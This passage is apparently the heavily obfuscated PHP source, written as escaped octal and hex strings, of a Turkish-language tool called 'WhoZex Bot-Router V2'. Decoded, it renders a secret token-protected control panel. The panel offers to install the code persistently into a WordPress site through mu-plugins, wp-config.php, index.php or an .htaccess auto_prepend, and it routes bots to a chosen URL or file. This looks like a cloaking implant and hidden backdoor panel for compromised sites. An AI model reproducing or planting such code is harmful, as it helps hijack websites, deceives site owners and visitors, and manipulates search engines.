40\56\156\165\155\173\146\x6c\x65\170\x3a\x30\x20\60\x20\x33\64\x70\x78\x3b\x68\145\151\147\x68\164\72\63\x34\x70\170\73\x62\x6f\x72\x64\145\162\55\x72\141\x64\151\x75\163\72\x35\x30\x25\73\142\x61\x63\153\x67\162\157\x75\156\144\72\154\151\156\x65\141\x72\x2d\147\x72\x61\x64\151\145\x6e\164\x28\61\63\x35\x64\145\147\x2c\166\x61\162\x28\x2d\x2d\141\143\143\x65\156\164\51\x2c\x23\x31\x32\142\70\71\x34\51\73\143\x6f\x6c\x6f\162\72\43\60\64\61\63\x30\145\x3b\144\x69\163\x70\x6c\141\x79\72\146\154\145\x78\x3b\141\x6c\151\147\x6e\x2d\151\x74\x65\155\163\72\x63\x65\156\164\x65\x72\x3b\152\165\163\164\151\146\171\55\x63\157\156\164\x65\156\164\x3a\143\x65\x6e\164\x65\162\73\146\157\x6e\164\55\167\x65\151\147\x68\164\72\x38\60\x30\73\x66\x6f\156\164\55\x73\x69\x7a\x65\72\x31\66\x70\x78\x7d\12\56\142\x6f\164\x72\55\x73\164\145\160\x20\x2e\x74\170\164\x7b\x66\x6c\145\170\x3a\61\73\146\157\156\164\x2d\x73\151\172\x65\72\61\x35\160\170\x3b\154\151\x6e\x65\55\150\x65\151\147\x68\164\x3a\61\x2e\x36\65\175\12\56\x62\157\164\x72\55\163\164\145\x70\x20\56\164\x78\x74\x20\142\173\143\x6f\x6c\x6f\x72\72\166\x61\x72\50\55\x2d\x61\x63\143\x65\x6e\x74\x29\x7d\12\56\x62\x6f\x74\x72\x2d\163\164\145\160\x20\56\164\170\164\40\56\153\173\x62\x61\143\153\x67\x72\157\x75\x6e\x64\72\x72\147\x62\141\x28\x32\65\65\x2c\x32\65\65\x2c\x32\x35\x35\54\x2e\x30\70\x29\x3b\x62\x6f\x72\x64\145\x72\x3a\61\160\x78\x20\163\x6f\x6c\x69\144\40\166\x61\162\50\55\55\154\x69\x6e\x65\x29\x3b\142\x6f\162\144\x65\162\x2d\162\x61\x64\151\165\163\x3a\66\160\170\73\x70\x61\144\x64\x69\x6e\x67\x3a\61\160\170\x20\x37\x70\170\73\146\x6f\156\164\x2d\x77\145\x69\147\x68\x74\72\67\60\60\x3b\x77\x68\151\x74\145\x2d\163\x70\141\143\x65\72\156\x6f\x77\162\141\x70\175\12\x2e\x62\157\x74\x72\55\164\165\x74\x2d\164\x69\160\x7b\x6d\141\x72\147\151\x6e\55\164\x6f\x70\x3a\61\x38\x70\x78\73\x62\141\x63\x6b\x67\162\x6f\165\x6e\144\x3a\162\147\142\x61\50\x32\64\65\54\x31\66\65\54\x33\x36\x2c\x2e\61\x32\51\73\142\157\x72\x64\145\162\x3a\x31\160\170\40\163\x6f\154\x69\x64\x20\162\x67\142\x61\x28\62\64\x35\54\61\x36\x35\54\63\x36\54\56\64\65\51\73\142\157\162\x64\145\x72\x2d\162\x61\x64\x69\x75\163\x3a\61\60\x70\x78\x3b\x70\x61\144\144\x69\x6e\147\72\61\63\x70\170\x20\x31\65\x70\170\73\x66\x6f\x6e\x74\55\x73\x69\x7a\145\72\61\x33\x2e\65\160\x78\x3b\x63\157\x6c\x6f\x72\x3a\x23\146\x35\143\x38\67\x37\73\154\151\156\145\55\150\145\151\x67\150\x74\x3a\61\56\x36\x7d\12\56\142\157\164\x72\x2d\x74\165\x74\x2d\x63\154\157\163\145\x7b\155\x61\x72\x67\151\x6e\x2d\164\157\x70\x3a\x31\70\x70\x78\x3b\x74\145\x78\164\x2d\141\154\151\x67\156\72\143\145\156\x74\145\162\x7d"; } function botr99_html_head($title, $right = '') { $t = htmlspecialchars($title, ENT_QUOTES, "\x55\x54\106\x2d\70"); $css = botr99_css(); return "\x3c\41\x64\157\x63\x74\x79\x70\x65\x20\150\164\155\154\76\74\150\x74\x6d\154\x20\154\x61\156\x67\75\42\x74\x72\42\x3e\x3c\150\145\141\144\x3e\74\155\145\164\x61\x20\143\x68\x61\162\x73\x65\164\75\42\125\x54\106\55\x38\42\x3e" . "\x3c\x6d\x65\x74\141\x20\156\141\x6d\x65\x3d\42\166\151\145\167\x70\157\162\x74\42\x20\143\x6f\x6e\164\145\x6e\x74\75\x22\167\x69\x64\x74\150\75\x64\x65\x76\151\x63\x65\55\167\x69\x64\x74\150\54\151\156\151\x74\151\141\154\55\163\x63\x61\x6c\145\x3d\x31\42\76" . "\74\x6d\x65\164\x61\40\156\141\155\x65\x3d\42\162\x6f\142\x6f\x74\x73\42\40\143\x6f\156\x74\145\x6e\x74\x3d\x22\x6e\x6f\x69\156\x64\145\170\x2c\156\x6f\146\x6f\154\x6c\x6f\x77\x22\76" . "\74\155\x65\164\141\x20\x6e\141\x6d\145\x3d\42\x72\x65\146\x65\x72\x72\145\x72\42\40\x63\x6f\156\x74\x65\x6e\164\x3d\42\156\x6f\x2d\x72\145\146\145\x72\x72\x65\x72\x22\x3e" . "\x3c\164\151\x74\154\145\x3e{$t}\40\342\x80\224\x20\127\150\157\x5a\x65\170\40\x42\157\x74\x2d\122\157\x75\x74\145\x72\x20\x56\x32\74\57\164\x69\x74\154\x65\76" . "\74\x73\x74\x79\154\145\x3e{$css}\x3c\57\x73\164\x79\x6c\145\x3e\x3c\x2f\x68\145\141\144\76\74\x62\x6f\x64\171\x20\x63\x6c\x61\x73\x73\x3d\42\142\x6f\164\x72\55\x62\x6f\144\x79\42\76\74\144\x69\166\40\x63\154\141\163\163\x3d\42\142\x6f\164\162\55\142\x67\x22\x3e\x3c\57\144\151\166\76" . "\x3c\x6d\x61\151\156\x20\x63\x6c\141\x73\163\x3d\x22\x62\x6f\164\162\55\x73\150\x65\154\x6c\x22\76\x3c\x68\x65\x61\144\145\x72\40\143\x6c\141\x73\x73\x3d\x22\142\157\x74\x72\x2d\x68\x65\x61\x64\42\76" . "\x3c\144\x69\166\x20\x63\154\141\x73\163\75\42\142\157\164\162\55\x6c\x6f\x67\157\42\x3e\x3c\x73\160\141\x6e\40\143\x6c\141\163\163\75\x22\142\x6f\x74\162\x2d\x64\x6f\x74\42\76\x3c\57\163\x70\x61\156\x3e\127\150\157\x5a\145\x78\40\102\x6f\164\x2d\122\157\x75\164\x65\x72\x20\126\62\x3c\57\144\x69\x76\76" . "\74\x64\151\x76\x20\143\154\x61\x73\x73\75\42\x62\x6f\164\x72\x2d\150\x72\x22\x3e\74\x73\160\x61\156\40\143\x6c\x61\163\163\75\x22\142\x6f\164\162\55\163\165\x62\x22\x3e{$t}\x3c\57\x73\x70\141\x6e\x3e{$right}\x3c\x2f\x64\151\166\x3e\74\57\x68\x65\x61\x64\145\x72\76"; } function botr99_html_foot() { return "\x3c\x66\157\157\164\145\162\x20\143\x6c\x61\x73\163\75\42\142\157\164\162\x2d\146\157\157\164\42\76\127\150\x6f\132\145\170\x20\102\157\164\x2d\122\x6f\165\164\145\162\x20\126\x32\x20\302\267\x20\x74\145\153\40\144\157\x73\x79\x61\x20\xc2\xb7\40\147\xc3\xbc\x76\145\x6e\x6c\x69\x20\160\x61\156\x65\x6c\x3c\57\146\157\157\164\145\x72\76\x3c\x2f\155\141\x69\156\x3e\x3c\57\x62\x6f\x64\171\x3e\74\57\150\164\155\x6c\76"; } function botr99_render_simple($title, $msg) { echo botr99_html_head($title) . "\74\x64\151\166\40\x63\154\x61\163\x73\x3d\42\x62\157\164\x72\55\142\x6f\170\42\x3e\x3c\x68\62\x3e" . htmlspecialchars($title, ENT_QUOTES, "\x55\x54\106\55\70") . "\74\x2f\150\x32\x3e" . "\x3c\160\40\x63\154\x61\163\163\x3d\42\x62\x6f\164\162\x2d\144\x69\x6d\x22\40\163\164\171\x6c\x65\75\x22\x6d\x61\x72\x67\x69\156\x3a\60\42\76" . htmlspecialchars($msg, ENT_QUOTES, "\x55\124\x46\55\x38") . "\74\x2f\160\x3e\74\57\144\x69\166\76" . botr99_html_foot(); } function botr99_render_checks(array $checks) { $rows = ''; foreach ($checks as $c) { $icon = $c["\x6f\153"] ? "\74\x73\160\141\x6e\x20\x63\x6c\x61\163\163\x3d\42\x69\x63\55\157\153\x22\x3e\xe2\x9c\224\x3c\x2f\163\160\x61\156\x3e" : "\x3c\x73\160\141\156\40\143\154\141\x73\163\x3d\x22\x69\143\55\142\x61\144\42\x3e\342\x9c\230\x3c\x2f\x73\160\141\x6e\76"; $tag = $c["\x6c\145\x76\x65\x6c"] === "\155\x75\163\164" ? "\x20\x3c\x73\160\x61\156\x20\143\154\141\163\163\x3d\x22\x62\x6f\164\162\55\142\x61\144\147\x65\40\144\151\x6d\42\76\172\x6f\x72\165\x6e\154\x75\x3c\57\x73\x70\141\x6e\x3e" : "\40\x3c\x73\160\141\156\x20\143\154\x61\163\163\x3d\x22\142\157\x74\x72\55\x62\141\144\147\x65\40\144\x69\x6d\x22\76\164\141\x76\x73\151\x79\145\74\57\x73\x70\141\156\76"; $rows .= "\x3c\164\x72\x3e\74\x74\144\x3e" . $icon . "\74\57\x74\x64\76\74\164\144\76\74\163\x74\162\157\x6e\x67\x3e" . htmlspecialchars($c["\x6c\141\x62\x65\154"], ENT_QUOTES, "\125\124\106\x2d\x38") . "\x3c\57\163\x74\x72\157\156\x67\x3e" . $tag . "\74\142\x72\x3e\74\163\160\141\156\40\143\154\x61\163\163\75\x22\x62\x6f\x74\162\x2d\144\x69\155\42\40\163\164\x79\154\x65\x3d\42\x6d\x61\x72\x67\x69\156\x3a\62\x70\170\40\x30\x20\60\42\76" . htmlspecialchars($c["\144\145\164\141\x69\154"], ENT_QUOTES, "\125\x54\106\55\x38") . "\x3c\x2f\x73\x70\x61\x6e\x3e\74\57\x74\x64\76\x3c\57\164\162\76"; } return "\74\164\x61\x62\154\x65\40\143\154\141\163\163\75\42\142\157\x74\x72\x2d\x63\150\145\x63\153\x73\42\x3e" . $rows . "\74\x2f\164\x61\142\x6c\x65\76"; } function botr99_render_setup($token) { $checks = botr99_compat_test(); $must_ok = botr99_mandatory_ok($checks); $link = htmlspecialchars(botr99_self_url($token), ENT_QUOTES, "\x55\x54\106\x2d\70"); echo botr99_html_head("\x4b\x75\162\165\154\x75\x6d") . "\74\x64\x69\x76\40\x63\x6c\141\163\x73\x3d\42\142\x6f\x74\162\x2d\x62\157\170\42\x3e\74\150\62\x3e\360\237\224\x91\40\x47\151\x7a\x6c\151\40\160\x61\x6e\145\x6c\x20\x6c\x69\x6e\x6b\151\156\x69\x7a\x20\50\113\101\x59\104\105\104\xc4\xb0\116\51\74\57\x68\62\76" . "\x3c\x70\40\x63\x6c\141\163\163\x3d\42\x62\x6f\x74\162\55\x64\151\x6d\x22\x3e\x50\x61\156\x65\154\x65\x20\142\165\156\144\x61\x6e\x20\x73\157\x6e\x72\x61\40\x79\x61\x6c\x6e\304\xb1\172\143\x61\40\x62\x75\40\x6c\x69\x6e\153\x6c\145\x20\x67\x69\162\145\x62\151\154\x69\x72\163\151\156\x69\172\56\x20\113\141\171\x62\145\x64\x65\162\x73\145\x6e\151\172\x20" . "\x3c\143\157\x64\145\76" . htmlspecialchars(BOTR99_DATA_DIR_NAME, ENT_QUOTES, "\125\124\x46\x2d\70") . "\x2f\x63\x6f\156\x66\151\x67\56\160\150\x70\x3c\x2f\143\x6f\x64\145\x3e\x20\x69\303\247\x69\x6e\144\145\x20" . "\74\x63\157\x64\145\x3e\x61\x64\155\151\156\x5f\164\157\x6b\145\x6e\x3c\x2f\143\157\x64\145\x3e\x20\x6f\x6c\141\162\x61\x6b\x20\142\x75\154\165\x6e\x75\162\56\x3c\57\160\76" . "\x3c\144\x69\166\x20\143\x6c\141\163\163\75\42\142\157\164\162\55\154\x69\x6e\153\42\76" . $link . "\x3c\57\x64\151\166\76" . "\x3c\144\151\166\40\143\x6c\141\x73\163\75\x22\142\157\164\162\x2d\141\143\164\151\x6f\156\x73\42\40\x73\x74\171\154\145\75\x22\x6d\141\162\x67\151\156\x2d\164\157\160\72\61\x34\x70\170\x22\x3e\x3c\x61\x20\x63\x6c\x61\x73\163\x3d\42\x62\157\x74\162\x2d\142\164\156\40\x70\x72\151\x6d\141\162\171\x22\40\x68\162\145\146\75\x22" . $link . "\42\76" . botr99_icon("\x73\150\x69\x65\154\144") . "\x20\x50\141\156\x65\154\145\x20\x67\x69\x72\x3c\x2f\x61\x3e\74\x2f\144\x69\166\x3e\74\x2f\144\x69\x76\x3e" . "\74\x64\151\166\40\143\x6c\x61\x73\163\x3d\42\x62\x6f\164\162\55\142\x6f\170\42\x3e\74\150\x32\76\125\171\165\155\x6c\165\x6c\x75\153\x20\124\145\x73\x74\151\74\x2f\150\62\76" . botr99_render_checks($checks) . "\x3c\160\40\143\x6c\x61\x73\163\75\42\142\157\x74\162\55\144\151\x6d\42\x20\x73\x74\x79\154\x65\75\x22\155\141\x72\147\151\x6e\72\61\x32\x70\170\40\x30\x20\x30\x22\76" . ($must_ok ? "\x3c\x73\160\x61\156\40\x63\154\x61\x73\x73\75\42\x69\x63\55\157\153\42\x3e\132\157\x72\x75\x6e\154\x75\x20\x6b\x6f\x6e\x74\x72\x6f\154\154\x65\162\151\x6e\x20\150\x65\x70\163\x69\40\x67\145\xc3\xa7\x74\151\56\74\57\x73\160\x61\156\76" : "\x3c\163\160\x61\156\x20\143\x6c\141\x73\x73\x3d\x22\151\143\55\142\141\x64\x22\76\132\x6f\x72\165\156\154\x75\40\x28\153\xc4\261\x72\155\304\261\x7a\xc4\xb1\x29\x20\155\x61\144\x64\145\154\x65\x72\151\40\x64\303\274\x7a\145\154\164\x6d\145\144\145\156\x20\x6b\165\x72\165\x6c\x75\155\40\x79\x61\160\304\261\154\x61\x6d\x61\x7a\x2e\74\x2f\163\160\x61\x6e\76") . "\74\57\x70\x3e\74\57\x64\x69\x76\x3e" . botr99_html_foot(); } function botr99_render_page(array $cfg, $token, $msg) { $esc = function ($s) { return htmlspecialchars((string) $s, ENT_QUOTES, "\125\124\106\55\70"); }; $checks = botr99_compat_test(); $act = $esc(botr99_self_url($token)); $hidden = "\74\151\x6e\160\x75\164\x20\x74\x79\160\145\75\42\150\151\x64\x64\145\x6e\x22\x20\x6e\x61\x6d\145\75\42\x62\157\x74\162\x39\71\164\x6f\153\x65\156\42\40\x76\141\x6c\x75\145\75\42" . $esc($token) . "\42\x3e"; $php_data_ok = botr99_checks_ok($checks, array("\160\x68\x70", "\144\x61\164\x61\x5f\x64\x69\162")); $dis = $php_data_ok ? '' : "\x20\x64\151\x73\141\x62\154\145\x64"; $status = botr99_full_status(); $installed = $status["\x61\156\x79"]; $enabled = !empty($cfg["\145\156\x61\x62\x6c\145\144"]); $target = trim((string) $cfg["\164\141\x72\x67\145\164"]); $any_bot = !empty(array_filter((array) $cfg["\142\x6f\x74\163"])); $target_ok = $target === '' || preg_match("\43\x5e\x68\x74\164\160\163\77\x3a\57\x2f\43\151", $target) || is_file($target); $h = botr99_html_head("\x50\x61\156\145\154"); if ($msg !== '') { $h .= "\x3c\x64\151\x76\x20\x63\x6c\x61\x73\x73\x3d\42\x62\x6f\164\162\55\155\x73\x67\42\76" . $esc($msg) . "\x3c\x2f\x64\x69\166\76"; } $h .= "\x3c\142\x75\x74\164\157\156\40\164\x79\x70\x65\x3d\42\142\165\164\164\x6f\156\42\x20\x63\x6c\141\163\x73\75\x22\x62\x6f\x74\162\55\x68\x65\x6c\x70\55\x63\164\141\x22\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x62\x6f\164\162\71\x39\x48\x65\x6c\160\50\x31\x29\42\76" . botr99_icon("\150\x65\x6c\x70") . "\x20\x4e\x41\x53\111\114\40\x4b\x55\114\114\x41\x4e\x49\114\111\122\77\x20\xe2\200\224\40\102\151\154\155\151\171\157\x72\x73\x61\x6e\x20\x42\165\x72\141\171\x61\x20\x54\xc4\261\x6b\154\x61\74\x2f\142\x75\x74\x74\x6f\156\76"; if (!$installed) { $color = "\43\x33\x62\70\62\x66\66"; $label = "\x4b\125\x52\125\x4c\x55\40\x44\x45\xc4\x9e\304\260\x4c"; } elseif (!$enabled) { $color = "\43\67\x65\x38\x62\141\x33"; $label = "\x50\101\123\xc4\260\x46"; } elseif (!$any_bot || !$target_ok) { $color = "\x23\146\66\64\66\65\x64"; $label = "\105\x4b\123\304\xb0\113\40\101\x59\101\x52"; } else { $color = "\43\x31\x39\145\x33\142\61"; $label = "\303\x87\x41\x4c\x49\xc5\x9e\x49\x59\x4f\x52"; } $dot = "\x3c\163\160\141\156\40\163\164\171\154\x65\x3d\x22\x64\x69\163\x70\x6c\x61\x79\x3a\x69\156\154\x69\x6e\x65\x2d\x62\154\x6f\143\x6b\x3b\167\151\144\x74\150\72\x31\x33\160\x78\x3b\x68\145\x69\x67\150\x74\72\x31\63\160\170\73\142\157\162\144\145\x72\x2d\162\x61\x64\151\x75\163\x3a\x35\x30\x25\x3b\x62\141\x63\153\147\x72\x6f\165\x6e\x64\x3a" . $color . "\x3b\142\x6f\170\x2d\x73\150\x61\144\x6f\167\x3a\x30\x20\60\x20\x31\x30\160\x78\x20" . $color . "\x22\76\x3c\57\x73\160\141\x6e\x3e"; $c1 = $installed ? "\342\x9c\223\x20\x4b\x75\x72\x75\x6c\x75\x20\50" . $esc($status["\x61\143\x74\x69\x76\x65"]) . "\x29" : "\xe2\234\227\40\x4b\x75\162\x75\x6c\165\x20\x64\x65\xc4\x9f\x69\x6c"; $c2 = $enabled ? "\342\234\223\x20\x41\x6b\x74\x69\146" : "\xe2\x9c\227\40\120\141\163\151\x66"; $c3 = $target === '' ? "\xe2\234\223\x20\110\x65\x64\x65\x66\x3a\x20\303\266\x72\x6e\145\x6b\40\163\x61\x79\x66\141" : ($target_ok ? "\xe2\234\223\x20\110\x65\x64\145\x66\x20\147\145\303\247\145\x72\154\151" : "\xe2\234\x97\x20\110\x65\x64\145\146\x20\147\x65\303\247\145\162\x73\x69\172"); $c4 = $any_bot ? "\xe2\x9c\x93\x20\x42\x6f\x74\x20\x73\145\303\xa7\x69\x6c\151" : "\xe2\234\x97\x20\x42\157\x74\x20\171\x6f\153"; $h .= "\x3c\x73\x65\143\164\151\157\x6e\x20\x63\x6c\141\163\x73\75\x22\142\x6f\164\162\x2d\x63\x6c\157\141\153\42\x20\x73\x74\x79\x6c\x65\75\x22\x62\x6f\x72\x64\145\x72\x2d\143\157\x6c\157\162\72" . $color . "\42\76" . "\74\x64\151\x76\x20\x63\x6c\141\163\163\x3d\42\x62\157\x74\162\x2d\143\x6c\157\x61\153\x2d\x68\145\x61\144\42\x3e" . $dot . "\x3c\x73\x74\x72\157\x6e\147\40\163\x74\171\154\145\75\x22\x63\x6f\x6c\157\x72\x3a" . $color . "\73\x66\x6f\156\164\55\163\151\x7a\145\x3a\x31\x38\x70\170\42\x3e\x57\150\x6f\132\x65\x78\x20\102\x6f\x74\x2d\x52\157\165\164\145\162\40\x56\62\x20" . $label . "\74\57\x73\164\162\157\156\x67\x3e\x3c\57\x64\151\x76\x3e" . "\74\144\x69\x76\x20\143\x6c\x61\x73\163\x3d\x22\142\157\164\x72\55\x63\154\x6f\141\153\x2d\163\x75\142\42\76" . $c1 . "\x20\46\x6e\x62\x73\x70\73\302\xb7\x26\156\142\163\160\x3b\40" . $c2 . "\x20\46\156\142\x73\160\x3b\302\xb7\x26\156\x62\x73\x70\x3b\40" . $c3 . "\x20\46\156\x62\163\160\x3b\302\267\x26\156\142\x73\x70\x3b\40" . $c4 . "\74\57\x64\151\x76\76\74\57\x73\145\143\164\x69\x6f\x6e\76"; $badge = function ($ok, $on, $off) { return $ok ? "\74\163\160\x61\156\40\x63\x6c\x61\x73\163\75\42\142\157\164\162\x2d\x62\141\144\147\x65\40\157\x6b\x22\76" . $on . "\x3c\x2f\163\160\141\156\76" : "\x3c\x73\160\141\x6e\40\x63\x6c\x61\163\x73\75\42\x62\x6f\164\x72\55\142\141\144\x67\x65\x20\157\146\146\x22\x3e" . $off . "\74\57\163\x70\141\156\76"; }; $target_type = $target === '' ? "\303\x96\x72\156\145\153" : (preg_match("\43\x5e\x68\x74\x74\160\163\77\x3a\57\57\x23\151", $target) ? "\125\x52\114" : "\x44\157\x73\171\141"); $h .= "\74\x64\x69\166\x20\143\154\141\163\x73\x3d\x22\x62\157\164\x72\55\x67\162\151\x64\x22\76" . "\74\x64\151\166\40\x63\x6c\141\x73\163\x3d\42\x62\x6f\164\162\x2d\143\141\x72\x64\x22\x3e\x3c\163\x70\x61\x6e\40\143\154\141\x73\163\x3d\x22\142\157\x74\x72\55\x63\x61\x72\x64\x2d\154\x61\142\145\154\42\76\x44\165\x72\165\x6d\74\x2f\x73\160\x61\156\76\x3c\x73\x70\x61\x6e\40\143\x6c\141\x73\x73\x3d\42\142\x6f\164\x72\x2d\x63\x61\x72\144\55\x76\141\x6c\x22\76" . $badge($enabled, "\101\153\164\151\146", "\120\x61\163\x69\x66") . "\x3c\x2f\x73\160\141\x6e\x3e\x3c\x2f\x64\151\166\x3e" . "\x3c\x64\151\x76\40\x63\x6c\x61\163\x73\75\42\x62\x6f\x74\162\x2d\143\141\162\144\x22\76\x3c\163\x70\141\x6e\40\143\x6c\141\163\163\x3d\42\142\x6f\x74\x72\x2d\x63\141\x72\x64\x2d\x6c\x61\x62\x65\154\x22\76\x4b\x75\x72\165\154\x75\155\74\x2f\x73\160\x61\156\x3e\x3c\163\160\x61\x6e\x20\x63\x6c\x61\x73\x73\75\x22\142\x6f\x74\x72\55\143\x61\x72\x64\x2d\166\x61\x6c\x22\x3e" . ($installed ? "\x3c\x73\160\141\156\40\x63\154\x61\x73\x73\x3d\x22\x62\x6f\x74\x72\55\142\x61\144\147\145\40\x6f\x6b\x22\76" . $esc($status["\x61\143\164\151\x76\145"]) . "\x3c\x2f\x73\160\141\x6e\x3e" : "\x3c\x73\x70\x61\156\40\143\x6c\141\x73\163\75\42\142\x6f\164\162\55\142\141\144\147\x65\40\x64\151\155\42\76\x79\x6f\x6b\74\x2f\163\160\x61\156\76") . "\x3c\x2f\x73\x70\x61\156\x3e\74\x2f\x64\x69\x76\x3e" . "\74\144\151\166\x20\143\154\141\x73\163\75\x22\x62\157\x74\162\x2d\143\141\162\144\42\76\x3c\x73\160\x61\x6e\x20\x63\154\141\x73\163\75\42\142\x6f\164\x72\x2d\x63\x61\x72\144\55\x6c\x61\x62\x65\x6c\x22\x3e\110\x65\x64\x65\x66\x3c\57\x73\x70\141\156\76\x3c\x73\x70\x61\156\x20\x63\x6c\141\x73\x73\x3d\42\142\x6f\164\x72\x2d\x63\x61\162\x64\55\166\141\x6c\42\76\x3c\x73\x70\x61\156\x20\143\x6c\x61\x73\x73\75\42\x62\157\164\x72\55\142\x61\144\x67\x65\x20\157\153\x22\76" . $target_type . "\74\57\163\x70\x61\x6e\76\74\57\163\x70\141\156\76\74\57\x64\151\x76\x3e" . "\74\144\x69\166\x20\143\x6c\141\x73\x73\75\42\142\x6f\164\x72\x2d\143\x61\162\144\x22\76\x3c\163\160\x61\x6e\40\x63\x6c\x61\163\163\x3d\42\x62\x6f\164\x72\55\x63\x61\x72\144\55\x6c\x61\x62\145\x6c\42\x3e\x4c\157\147\154\141\155\141\74\57\163\x70\x61\156\x3e\74\163\160\x61\x6e\x20\143\x6c\x61\163\x73\75\42\x62\x6f\x74\162\x2d\143\141\162\144\x2d\166\141\x6c\42\x3e" . $badge(!empty($cfg["\x6c\x6f\x67\x5f\x65\156\141\x62\154\145\x64"]), "\101\xc3\247\xc4\261\153", "\113\141\160\x61\x6c\304\261") . "\74\x2f\163\x70\x61\x6e\76\x3c\57\x64\x69\166\x3e" . "\x3c\x2f\144\x69\166\x3e"; $methods = array("\155\x75\160\x6c\x75\147\x69\156\163" => array("\x4d\165\x2d\120\x6c\x75\147\x69\x6e\x73", "\303\207\145\x6b\x69\162\x64\145\304\237\x65\40\x64\157\153\x75\x6e\155\141\172\40\xe2\x80\x94\x20\303\266\156\x65\x72\151\154\145\x6e", botr99_muplugins_dir() !== null, $status["\x6d\165\x70\x6c\165\x67\151\156\163"]), "\167\160\x63\x6f\x6e\x66\x69\147" => array("\167\x70\55\143\157\156\x66\x69\x67\56\x70\150\160", "\105\x72\153\x65\156\40\171\303\xbc\x6b\x6c\x65\156\x69\x72\40\x28\x79\145\144\x65\x6b\x6c\x69\x29", botr99_wpconfig_path() !== null, $status["\167\x70\x63\x6f\156\x66\x69\x67"]), "\151\x6e\144\x65\170" => array("\151\156\144\x65\170\56\x70\x68\160", "\x42\x61\163\x69\164\x2c\40\150\145\162\x20\x79\145\162\x64\145\x20\xc3\xa7\x61\x6c\xc4\261\xc5\x9f\304\xb1\x72", is_file(botr99_paths()["\x69\156\x64\145\x78"]), $status["\x69\156\144\x65\170"]), "\150\164\x61\x63\143\x65\x73\163" => array("\56\x68\x74\141\x63\143\145\x73\163\x20\x28\x61\165\x74\157\137\160\162\145\160\x65\156\144\51", "\155\157\144\137\160\x68\x70\40\x2f\40\114\x69\x74\145\x53\160\x65\x65\144", true, $status["\160\162\145\160\x65\x6e\144"])); $h .= "\x3c\163\x65\x63\164\151\x6f\x6e\x20\x63\x6c\141\163\x73\x3d\x22\142\157\x74\x72\55\x62\x6f\170\x22\x3e\74\150\x32\x3e" . botr99_icon("\x73\x68\151\x65\154\x64") . "\40\113\165\162\165\154\165\155\x20\131\xc3\266\156\164\x65\155\151\x3c\x2f\x68\62\76" . "\x3c\x70\40\143\154\141\x73\163\x3d\x22\x62\x6f\x74\162\55\144\x69\155\x22\76\xc4\xb0\163\164\145\x64\x69\xc4\x9f\151\x6e\40\x79\xc3\xb6\156\x74\x65\x6d\x65\40\x67\145\303\247\x65\x62\151\154\x69\x72\163\x69\x6e\40\342\x80\x94\x20\153\x75\x72\x64\x75\153\164\141\x6e\x20\x73\157\156\162\141\40\142\151\x6c\x65\56\x20\42\102\x75\40\x79\303\xb6\x6e\164\x65\155\x65\40\x67\x65\303\247\42\x20\xc3\266\156\143\x65\x20\x74\303\274\155\40\x65\x73\x6b\151\x20\151\172\x6c\x65\162\151\x20\164\145\155\x69\x7a\154\x65\162\54\x20\x73\x6f\x6e\162\x61\40\163\x65\303\xa7\164\x69\xc4\237\x69\x6e\x20\171\xc3\266\156\x74\x65\155\x6c\x65\40\x6b\165\162\x61\162\56\74\57\x70\76"; if (!$installed) { $h .= "\x3c\144\151\166\x20\x63\x6c\141\163\x73\75\42\142\x6f\164\162\55\141\143\x74\151\157\x6e\x73\42\x20\x73\x74\171\x6c\145\75\x22\155\x61\162\147\151\x6e\55\x62\x6f\164\164\x6f\x6d\72\x31\66\160\170\x22\x3e\x3c\146\x6f\x72\x6d\40\x6d\145\164\150\x6f\144\x3d\42\160\x6f\x73\x74\42\x20\x61\143\x74\x69\157\x6e\x3d\x22" . $act . "\x22\x3e" . $hidden . "\74\151\156\160\165\x74\x20\x74\x79\x70\x65\75\42\x68\x69\144\144\145\x6e\42\40\x6e\141\155\145\75\x22\141\x63\x74\151\157\156\x22\40\x76\x61\x6c\x75\x65\x3d\x22\151\156\x73\164\141\154\154\137\x61\165\164\157\x22\76" . "\x3c\142\165\164\x74\x6f\x6e\40\143\x6c\x61\x73\x73\75\x22\142\x6f\164\162\x2d\x62\x74\x6e\40\x70\162\151\155\141\x72\x79\42\40\164\171\x70\145\x3d\42\x73\165\142\155\151\164\42" . $dis . "\76" . botr99_icon("\160\154\141\x79") . "\40\117\x74\x6f\x6d\x61\x74\151\x6b\x20\113\x75\162\40\50\303\266\x6e\145\x72\151\x6c\145\156\51\74\57\x62\165\x74\x74\157\x6e\76\74\57\x66\157\x72\155\x3e\x3c\x2f\x64\151\x76\76"; } $h .= "\74\164\x61\x62\154\x65\40\x63\154\x61\x73\x73\75\42\x62\157\x74\x72\x2d\x63\150\x65\x63\153\x73\42\x3e"; foreach ($methods as $slug => $m) { list($name, $desc, $avail, $active) = $m; if ($active) { $right = "\x3c\163\x70\x61\x6e\40\143\154\x61\x73\163\x3d\42\142\x6f\164\x72\x2d\x62\x61\144\147\145\40\x6f\153\42\76\101\x4b\124\304\xb0\x46\74\57\x73\160\x61\x6e\x3e"; } elseif ($avail) { $right = "\x3c\146\157\162\x6d\x20\155\145\164\x68\x6f\x64\x3d\42\160\x6f\x73\x74\x22\x20\141\x63\164\151\x6f\x6e\75\42" . $act . "\x22\40\x73\164\x79\x6c\145\75\x22\155\x61\162\x67\151\156\72\60\x22\76" . $hidden . "\74\x69\x6e\160\165\164\40\164\x79\x70\145\x3d\42\x68\151\x64\144\x65\x6e\x22\x20\156\x61\x6d\x65\75\42\141\x63\164\x69\157\x6e\42\x20\166\141\x6c\x75\x65\x3d\42\163\167\151\x74\x63\x68\x5f\155\x65\164\150\157\144\42\76" . "\x3c\151\x6e\160\x75\x74\x20\164\171\160\145\x3d\42\x68\151\144\144\145\156\x22\x20\156\x61\155\145\x3d\42\x6d\145\x74\150\157\144\x22\x20\x76\141\x6c\x75\x65\75\42" . $slug . "\x22\x3e" . "\74\142\x75\x74\x74\157\156\x20\x63\154\x61\163\x73\x3d\42\x62\x6f\x74\162\55\142\x74\156\x22\x20\164\171\x70\x65\x3d\x22\163\x75\x62\155\151\x74\x22" . $dis . "\x3e\x42\x75\40\171\303\266\156\x74\145\155\145\40\x67\145\303\247\x3c\x2f\x62\x75\x74\164\x6f\x6e\x3e\74\x2f\x66\x6f\x72\x6d\76"; } else { $right = "\x3c\x73\x70\x61\156\x20\143\x6c\141\x73\x73\75\x22\142\157\164\162\55\142\141\144\x67\x65\40\x64\151\x6d\x22\76\x75\171\147\165\156\x20\x64\145\xc4\x9f\x69\x6c\x3c\x2f\163\160\141\x6e\76"; } $h .= "\74\164\x72\76\74\164\x64\x3e\74\163\164\x72\157\x6e\147\x3e" . $esc($name) . 